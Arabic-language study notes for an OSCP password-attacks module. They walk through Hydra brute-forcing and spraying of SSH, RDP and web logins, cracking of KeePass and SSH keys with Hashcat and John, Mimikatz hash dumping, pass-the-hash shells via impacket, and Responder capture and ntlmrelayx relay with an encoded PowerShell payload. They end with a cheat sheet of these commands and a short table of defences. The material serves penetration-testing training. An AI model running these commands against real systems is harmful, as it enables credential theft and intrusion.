01مهاجمة خدمات الشبكة — SSH · RDP · HTTP POST

أهداف الوحدة

1تنفيذ هجمات brute-force ودictionary على خدمات SSH وRDP وHTTP
2فهم الفرق بين Brute Force وDictionary Attack وPassword Spraying
3استخدام Hydra بفعالية على بروتوكولات مختلفة

ليه الخدمات الشبكية هدف

الخدمات المواجِهة للإنترنت زي SSH وRDP وVNC وصفحات الدخول بتتعرّض لمحاولات كسر تلقائية تقريبًا فور ما تيجي أونلاين. أدوات كسر بيانات الاعتماد الآلية بقت في متناول الجميع وسهلة الاستخدام.

Brute Force
  • بيجرّب كل تركيبة حرف ممكنة
  • بطيء لكن شامل
  • مضمون لو الـ keyspace صغير
  • ممكن يستغرق سنين على كلمات مرور طويلة
Dictionary Attack
  • بيجرّب كلمات مرور من قائمة (wordlist)
  • سريع جدًا مقارنةً بالـ brute force
  • بيحتاج الباسورد الصح يكون موجود في القائمة
  • rockyou.txt: ملايين باسوردات حقيقية مسرَّبة
⬦ Password Spraying

بيجرّب كلمة مرور واحدة معروفة ضد كثير من أسماء المستخدمين — عكس الـ brute force الكلاسيكي. فعّال لما بيانات اعتماد تسرَّبت أو وُجدت في ملف مكشوف أو أُعيد استخدامها عبر خدمات.

هجوم SSH بأداة Hydra

✎ السيناريو

الهدف: SSH على بورت 2222 على 192.168.50.201 | اسم مستخدم معروف: george | الهدف: إيجاد باسورد george

bash
# 1. تأكيد تشغيل الخدمة
nmap -sV -p 2222 192.168.50.201

# 2. فك ضغط قائمة rockyou
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

# 3. شنّ هجوم Hydra على SSH
hydra -l george \
  -P /usr/share/wordlists/rockyou.txt \
  -s 2222 192.168.50.201 ssh

# النتيجة
# [2222][ssh] host: 192.168.50.201  login: george  password: iloveyou

ليه نجح: الباسورد الصح موجود في rockyou.txt، واسم مستخدم صالح تم الحصول عليه أثناء الاستطلاع.

Password Spraying ضد RDP

bash
# -L قائمة أسماء مستخدمين  |  -p كلمة مرور واحدة
hydra -L userlist.txt \
  -p "Password123!" \
  192.168.50.202 rdp
⚠ تحذير مهم

محاولات الدخول الكبيرة بتولّد logs أمنية كثيرة وتنبيهات. سياسات lockout الحسابات ممكن تعطّل حسابات وتؤثر على مستخدمين حقيقيين. دايمًا افعل استطلاعًا دقيقًا قبل الإطلاق — خصوصًا في بيئات إنتاجية.

هجوم HTTP POST Login Form

تقريبًا كل اختبار اختراق بيتضمّن تطبيقات ويب بفيها موارد محمية بتوثيق. لو الباسوردات الافتراضية فشلت، هجمات القائمة على صفحات الدخول بتبقى الخيار التالي. التوثيق الويب بيستخدم HTTP — بيحتاج معلومات إضافية مقارنةً بـ SSH/RDP.

معلومتان حرجتان مطلوبتان

  1. معطيات طلب POST — أسماء الحقول الدقيقة للـ username والـ password (مثلًا fm_usr، fm_pwd)
  2. مؤشّر الفشل — نص في استجابة السيرفر بيشير لمحاولة دخول فاشلة

كيفية الحصول عليهما: استخدام proxy اعتراضي زي Burp Suite لالتقاط طلب HTTP الخام، وإرسال تسجيل دخول تجريبي لرؤية رسالة الفشل الدقيقة اللي بيرجّعها السيرفر.

✎ السيناريو: TinyFileManager

حساب معروف: admin / user | الباسوردات الافتراضية فشلت → استخدام wordlist | جسم POST المُلتقَط: fm_usr=user&fm_pwd=test123 | رسالة الفشل: "Login failed"

bash
hydra -l user \
  -P /usr/share/wordlists/rockyou.txt \
  192.168.50.201 http-post-form \
  "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed"

# النتيجة
# [80][http-post-form] host: 192.168.50.201  login: user  password: 121212

الكشف والدفاعات

ما يراه المدافعونالإجراء الدفاعي
حجم كبير من طلبات الدخول الفاشلة في وقت قصيرWAF — يمنع أو يُعلم عن الحجم الشاذ
محاولات متكررة من IP واحدRate Limiting — يحدّ محاولات الدخول لكل IP
طلبات تستهدف حسابات أو endpoints محددةfail2ban / Account Lockout — يحجب الـ IPs بعد N فشل
أنماط ترافيك غير معتادة على صفحات الدخولCAPTCHA — يمنع الأدوات الآلية من إرسال النماذج
$ cat ./lu1_takeaways.txt

02أساسيات كسر كلمات المرور

Encryption مقابل Hashing

Encryption (قابل للعكس)
  • بيحوّل البيانات لـ ciphertext باستخدام مفتاح
  • المفتاح الصح يستعيد البيانات الأصلية
  • Symmetric (AES): نفس المفتاح للتشفير وفكّه — خطر اعتراض المفتاح
  • Asymmetric (RSA): مفتاح عام للتشفير، مفتاح خاص لفكّه — يحلّ مشكلة تبادل المفاتيح
Hashing (أحادي الاتجاه)
  • بيحوّل أي إدخال لبصمة بطول ثابت (hash)
  • نفس الإدخال → نفس الخرج دايمًا
  • لا يمكن عكسه بشكل واقعي
  • حتى تغيير صغير ينتج hash مختلف تمامًا
  • شائع: MD5، SHA-1، SHA-256، SHA-512، bcrypt

تخزين كلمات المرور بدوال الـ Hash

إزاي التطبيقات بتخزّن الباسوردات: المستخدم بيُنشئ باسورد ← النظام بيعمل له hash ← بس الـ hash بيتخزَّن في قاعدة البيانات. عند الدخول: الباسورد المُدخَل بيتعمل له hash ← بيتقارن مع الـ hash المخزَّن ← تطابق = وصول مسموح. المدراء والمهاجمون اللي بيوصلوا لقاعدة البيانات بيشوفوا bashes فقط — مش نص واضح.

مزايا الكسر Offline مقابل الهجمات Online

Offline (Hashcat / John)Online (Hydra)
لا ترافيك شبكة — حسابات محلية بالكاملكل محاولة تولّد ترافيك شبكة
لا account lockouts — محاولات غير محدودةممكن يُعطّل حسابات ويُنبّه الأمان
لا تنبيهات في أنظمة التوثيقLogs مرئية للمدافعين
ممكن يتوزَّع على كثير GPUs لسرعة هائلةمقيَّد بسرعة الشبكة والـ lockout policies

أدوات الكسر وتقدير الوقت

Hashcat
  • GPU-optimized (آلاف الـ cores المتوازية)
  • يدعم أكثر من 300 نوع hash
  • محرّك قواعد، masks، combinator attacks
John the Ripper
  • CPU-based (يدعم GPU عبر plugins)
  • يكشف صيغ الـ hash تلقائيًا
  • قواعد mangling مدمجة

معادلة وقت الكسر

الوقت = Search Space ÷ Speed  |  Search Space = (حجم charset) ^ (طول الباسورد)

62 حرف × 5 حروف = 916 مليون تركيبة | 62 حرف × 8 حروف = 218 تريليون | بـ GPU SHA-256 (~9.2 مليار hash/ثانية): 5 حروف ≈ 0.1 ثانية | 8 حروف ≈ 6.5 ساعة | 10 حروف mixed ≈ سنين. الباسوردات القوية (12+ حرف، مختلطة) بتقاوم الكسر offline.

تحوير الـ Wordlist والهجمات القائمة على القواعد

المشكلة مع القوائم العادية: سياسات الباسورد الحديثة بتتطلب uppercase وأرقام ورموز. معظم مدخلات rockyou.txt بتفشل هذه المتطلبات. التعديل اليدوي لملايين المدخلات غير عملي.

الحل: تحويل قائمة القواعد (Rule-Based) — ملف قواعد يحتوي تعليمات تحويل تُطبَّق على كل مدخل في القائمة. العمليات: إضافة حروف، تغيير الحالة، استبدال حروف، إعادة ترتيب الأجزاء.

مثال: كيف password يتحوّل لـ Password1!

c→Passwordcapitalize first letter
$1→Password1append '1'
$!→Password1!append '!'
ⓘ Order Matters

ترتيب القواعد مهم: "أضف ! ثم 1" يعطي Password!1 — نتيجة مختلفة! كذلك bcrypt بيبطّئ الكسر عمدًا — يقلّل ميزة GPU.

سير العمل الكامل لكسر كلمة المرور — 5 مراحل

1
الحصول على الـ Hashes

تصدير من قاعدة بيانات مخترَقة، memory dump، أو ترافيك شبكة ملتقَط

2
تحديد صيغة الـ Hash

استخدام hashid أو hash-identifier لتحديد الخوارزمية — نوع غلط = صفر نتائج

3
تقييم الجدوى

تقدير وقت الكسر = keyspace ÷ سرعة GPU؛ مراعاة مواعيد نهاية المهمة

4
تجهيز الـ Wordlist

تطبيق تحويلات rule-based، تحليل سياسة الباسورد، الاستفادة من مجموعات الاختراقات

5
التنفيذ والتحقق

شنّ Hashcat/John بالوضع الصحيح؛ التحقق من النتائج — أخطاء إملائية أو وضع خاطئ يضيّع كل المجهود


03كسر KeePass وSSH Private Keys

مدراء كلمات المرور — لماذا هم أهداف ذات قيمة عالية

هجوم KeePass — خطوة بخطوة

1
الوصول والاكتشاف

الاتصال عبر RDP، التحقق من التطبيقات المثبَّتة، تأكيد وجود KeePass

2
تحديد موقع قاعدة البيانات
powershell
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse
# إيجاد Database.kdbx
3
التحويل لـ Hash
bash
keepass2john Database.kdbx > keepass.hash
# إزالة بادئة اسم الملف قبل النقطتين
4
تحديد الوضع
bash
hashcat --help | grep -i KeePass
# الوضع 13400 (KeePass 1/2 AES)
5
شنّ الهجوم
bash
hashcat -m 13400 keepass.hash rockyou.txt \
  -r rockyou-30000.rule --force
6
فتح الـ Vault

استخدام الباسورد الرئيسي المكتشَف لفتح KeePass — كل بيانات الاعتماد المخزَّنة تنكشف

كسر Passphrase مفتاح SSH الخاص

كيف تتعرّض المفاتيح: ثغرات Directory Traversal أو قراءة ملفات ممكن تكشف ~/.ssh/id_rsa. حتى مع المفتاح، الـ passphrase بيمنع الاستخدام المباشر.

✎ استخبارات السيناريو (note.txt)

باسوردات Dave: Window، rickc137، dave، superdave، megadave، umbrella | سياسة (يناير 2022): 3 أرقام + capital + special character | النمط: Dave بيستخدم '137'، بيكبّر الحرف الأول

ملف القواعد المبني من الاستخبارات:

c $1 $3 $7 $!→Window137!
c $1 $3 $7 $@→Window137@
bash
# تحويل المفتاح لـ hash قابل للكسر
chmod 600 id_rsa
ssh2john id_rsa > ssh.hash

# إيجاد الوضع الصحيح
hashcat -h | grep -i ssh
# الوضع 22921 = OpenSSH private keys

# لو Hashcat فشل (AES-256-CTR) استخدم John:
john --wordlist=ssh.passwords \
  --rules=sshRules ssh.hash

# الـ passphrase المكتشَف:
# Umbrella137!

# التوثيق بالمفتاح
ssh -i id_rsa -p 2222 dave@192.168.50.50
✓ الدرس

الاستخبارات المتعلقة بأنماط باسوردات الشخص المستهدَف (سنة، حيوان محبوب، نمط رقمي) تمكّن بناء wordlist صغيرة ومركّزة بدلًا من تشغيل rockyou.txt الكامل — مما يوفّر وقتًا ثمينًا.

$ cat ./lu3_takeaways.txt

04NTLM Hashes وPass-the-Hash

كيف Windows يخزّن كلمات المرور

LM Hash (قديم — معطَّل منذ Vista)
  • مبني على تشفير DES ضعيف
  • case-insensitive، حد أقصى 14 حرفًا
  • الباسوردات +7 أحرف تُقسَّم لنصفين كل منهما يتعمل له hash منفصل
  • سهل الكسر حتى اليوم
NTLM Hash (المعيار الحالي)
  • case-sensitive، لا حد للطول، لا تقسيم
  • لا salting ← rainbow tables تعمل
  • ثابت عبر الجلسات ← قابل لإعادة الاستخدام في PtH
  • مخزَّن في SAM (Security Account Manager)

استخراج NTLM Hashes بـ Mimikatz

LSASS — العملية المستهدَفة: Local Security Authority Subsystem Service — تتعامل مع توثيق المستخدم، تغييرات الباسورد، إنشاء access tokens. تُخزَّن NTLM hashes في الذاكرة ← كنز للمهاجمين.

الصلاحيات المطلوبة: حساب Administrator + SeDebugPrivilege (صلاحيات debug) + SYSTEM-level token (عبر token::elevate)

powershell / mimikatz
# حصر الحسابات المحلية
Get-LocalUser

# فتح Mimikatz والتصعيد
privilege::debug
token::elevate

# تفريغ SAM hashes
lsadump::sam

# مثال على الخرج
# User: nelly
# NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10

# كسر offline بـ Hashcat (الوضع 1000)
hashcat -m 1000 ntlm.hash rockyou.txt

Pass-the-Hash (PtH) — المفهوم والمتطلبات

⬦ Definition

Pass-the-Hash = التوثيق لـ Windows باستخدام username صالح + NTLM hash — بدون الحاجة لكلمة مرور واضحة. بما إن NTLM hashes غير مُملَّحة (unsalted) وتبقى ثابتة عبر الجلسات، الـ hash المستخرَج من نظام واحد يمكن استخدامه للتوثيق لأنظمة أخرى تشترك نفس بيانات الاعتماد.

البروتوكولات التي تدعم التوثيق بالـ Hash: SMB (مشاركات ملفات، lateral movement)، RDP (دعم محدود في بعض الإعدادات)، WinRM (PowerShell عن بُعد)

ⓘ UAC Remote Restrictions

حسابات المدير المحلي (local administrator) مقيَّدة من الأفعال الإدارية عن بُعد افتراضيًا. الاستثناء: حساب Administrator المدمَج (RID 500) يتجاوز هذه القيود.

هجوم Pass-the-Hash — خطوة بخطوة

1
اختراق المضيف الأولي

الوصول لـ FILES01، الحصول على بيانات اعتماد حساب مستخدم

2
محاولة الوصول للهدف

محاولة الوصول لـ \\192.168.50.50\secrets على FILES02 — الوصول يفشل

3
استخراج Hash Administrator
mimikatz
privilege::debug → token::elevate → lsadump::sam
4
الوصول لـ SMB Share بالـ Hash
bash
# عبر smbclient
smbclient \\\\192.168.50.50\\secrets \
  -U "Administrator%aad3b435b51404eeaad3b435b51404ee:NTLM_HASH_HERE"

# عبر CrackMapExec
crackmapexec smb 192.168.50.50 \
  -u Administrator \
  -H NTLM_HASH_HERE \
  --shares
5
الحصول على Shell عن بُعد
bash
# SYSTEM shell عبر psexec
impacket-psexec Administrator@192.168.50.50 \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH

# User-context shell عبر wmiexec
impacket-wmiexec Administrator@192.168.50.50 \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
$ cat ./lu4_takeaways.txt

05Net-NTLMv2 — التقاط وكسر وإعادة توجيه

كيف يعمل توثيق Net-NTLMv2

Windows بيرجع لـ Net-NTLMv2 لتسجيلات الدخول الشبكية لما Kerberos غير متاح أو غير مدعوم. شائع للتوافق الخلفي في البيئات المختلطة أو القديمة.

ClientWindows HostServerSMB ShareAttackerResponder / Relay1) طلب وصول2) challenge (nonce)3) response (مشفَّر بالـ NTLM hash)Responder يلتقط الـ challenge-response
بروتوكول Net-NTLMv2: الـ response المشفَّر بيحتوي بيانات مشتقة من الـ NTLM hash الحقيقي للمستخدم

ليه المهاجمين يستهدفون ده

الـ response المشفَّر يحتوي بيانات مشتقة من الـ NTLM hash الحقيقي للمستخدم. التقاط هذا الـ response يمكّن من كسر الباسورد offline. لو الكسر فشل، التوثيق المُلتقَط لسه ممكن إعادة توجيهه (relay) لأنظمة أخرى.

التقاط Net-NTLMv2 Hashes بـ Responder

⬦ كيف يعمل Responder

بيتصرّف كـ SMB / HTTP / FTP server مزيَّف. بيُسمَّم استعلامات LLMNR وNetBIOS-NS لحلّ أسماء الشبكة. بيعترض محاولات التوثيق ويلتقط الـ challenge-response hash.

bash
# 1. تشغيل Responder كـ SMB server مزيَّف
sudo responder -I eth0 -v

# 2. تحفيز التوثيق على الهدف (لو command exec متاح)
dir \\192.168.45.X\test

# Responder بيلتقط:
# [SMB] NTLMv2-SSP Hash: paul::DESKTOP01:aabbccdd...

# 3. الكسر بـ Hashcat (الوضع 5600 = NetNTLMv2)
hashcat -m 5600 paul.hash \
  rockyou.txt --force

# 4. استخدام بيانات الاعتماد المكتشَفة عبر RDP
xfreerdp /u:paul /p:Password1 /v:192.168.50.X

هجوم Net-NTLMv2 Relay

لما الكسر يفشل: الباسوردات القوية ممكن تقاوم الكسر خلال فترة المهمة. البديل: إعادة توجيه التوثيل المُلتقَط مباشرةً — بدون الحاجة للكسر.

⬦ كيف يعمل هجوم Relay

1) الهدف بيتوثّق للـ server المزيَّف للمهاجم (ntlmrelayx) | 2) المهاجم بيُعيد توجيه (relay) ذلك التوثيق لجهاز هدف ثانٍ | 3) الجهاز الثاني يقبله كتسجيل دخول شرعي | 4) لو المستخدم المُعاد توجيهه عنده صلاحيات admin ← تنفيذ أوامر عن بُعد ممكن

bash
# ntlmrelayx بيعيد توجيه التوثيق للهدف الثاني
impacket-ntlmrelayx \
  --no-http-server \
  -smb2support \
  -t 192.168.50.212 \
  -c "powershell -enc JABjAGwAaQBlA..."
⚠ متطلب حرج

SMB signing لازم يكون معطَّلًا على الجهاز الهدف عشان هجوم الـ relay ينجح. لو SMB signing مفعَّل، الـ relay هيفشل لأن الجهاز هيتحقق من توقيع رسائل SMB.

$ cat ./lu5_takeaways.txt

Cheat Sheet مرجعي

Hydra — أوامر أساسية

الأمرالوظيفة
hydra -l USER -P list.txt HOST sshdictionary attack على SSH
hydra -L users.txt -p PASS HOST rdppassword spraying على RDP
hydra -l USER -P list.txt HOST http-post-form "/path:user=^USER^&pass=^PASS^:Fail msg"هجوم على HTTP POST form
-s PORTتحديد بورت غير افتراضي
-t 4عدد threads المتوازية (افتراضي 16)

Hashcat — أوضاع شائعة وأوامر

الوضعنوع الـ Hashالأمر
1000NTLMhashcat -m 1000 hash.txt wordlist.txt
5600NetNTLMv2hashcat -m 5600 hash.txt wordlist.txt --force
13400KeePass 1/2hashcat -m 13400 hash.txt wordlist.txt -r rules.rule
22921SSH Private Keyhashcat -m 22921 hash.txt wordlist.txt
أيمع قواعد-r /usr/share/hashcat/rules/rockyou-30000.rule

تحويل الملفات لهاشات

الأداةالأمرالخرج
keepass2johnkeepass2john db.kdbx > keepass.hashhash وضع 13400
ssh2johnssh2john id_rsa > ssh.hashhash وضع 22921
hashidhashid hash_valueتحديد نوع الـ hash

أدوات Pass-the-Hash

الأداةالاستخدام
impacket-psexecSYSTEM shell عبر PtH
impacket-wmiexecshell بسياق المستخدم عبر PtH
crackmapexec smbفحص وتنفيذ عبر SMB بالـ hash
smbclientالوصول لمشاركات SMB بالـ hash
impacket-ntlmrelayxrelay هجوم NTLMv2
responder -I eth0 -vالتقاط NTLMv2 hashes

Mimikatz — الأوامر الأساسية

mimikatz
privilege::debug          # الحصول على SeDebugPrivilege
token::elevate            # تصعيد للـ SYSTEM token
lsadump::sam              # تفريغ NTLM hashes من SAM
sekurlsa::logonpasswords  # استخراج كلمات مرور من LSASS

الخلاصة العامة للموديول

في الموديول ده، غطّينا طيفًا واسعًا من تقنيات هجمات كلمات المرور — من هجمات online على خدمات الشبكة، لحد الكسر offline المتطوّر، وصولًا لاستغلال بروتوكولات Windows للتنقّل الجانبي (lateral movement).

التقنيةالهدفالأداة الرئيسية
Dictionary / Brute ForceSSH، RDP، HTTP loginsHydra
Offline Hash CrackingNTLM، NTLMv2، KeePass، SSH keysHashcat، John
Rule-Based Mutationتحقيق متطلبات سياسة الباسوردHashcat rules
Hash ExtractionLSASS / SAMMimikatz
Pass-the-HashLateral movement بدون باسوردpsexec، wmiexec، CrackMapExec
NTLMv2 Captureالتقاط challenge-responseResponder
NTLMv2 Relayالوصول بدون كسرntlmrelayx

الدرس الأهم في الموديول ده: هجمات كلمات المرور مش بس "جرّب كل الاحتمالات". المحترف الحقيقي بيجمع استخبارات عن الهدف، يبني wordlist مخصَّصة، ويختار التقنية الصح (online/offline/relay/PtH) بناءً على البيئة المستهدَفة والوقت المتاح. الـ hash المُستخرَج ممكن يكون أقوى من الباسورد نفسه — لأنه لا يحتاج كسرًا لاستخدامه.


نهاية نوتس الموديول الثالث عشر — OSCP: Password Attacks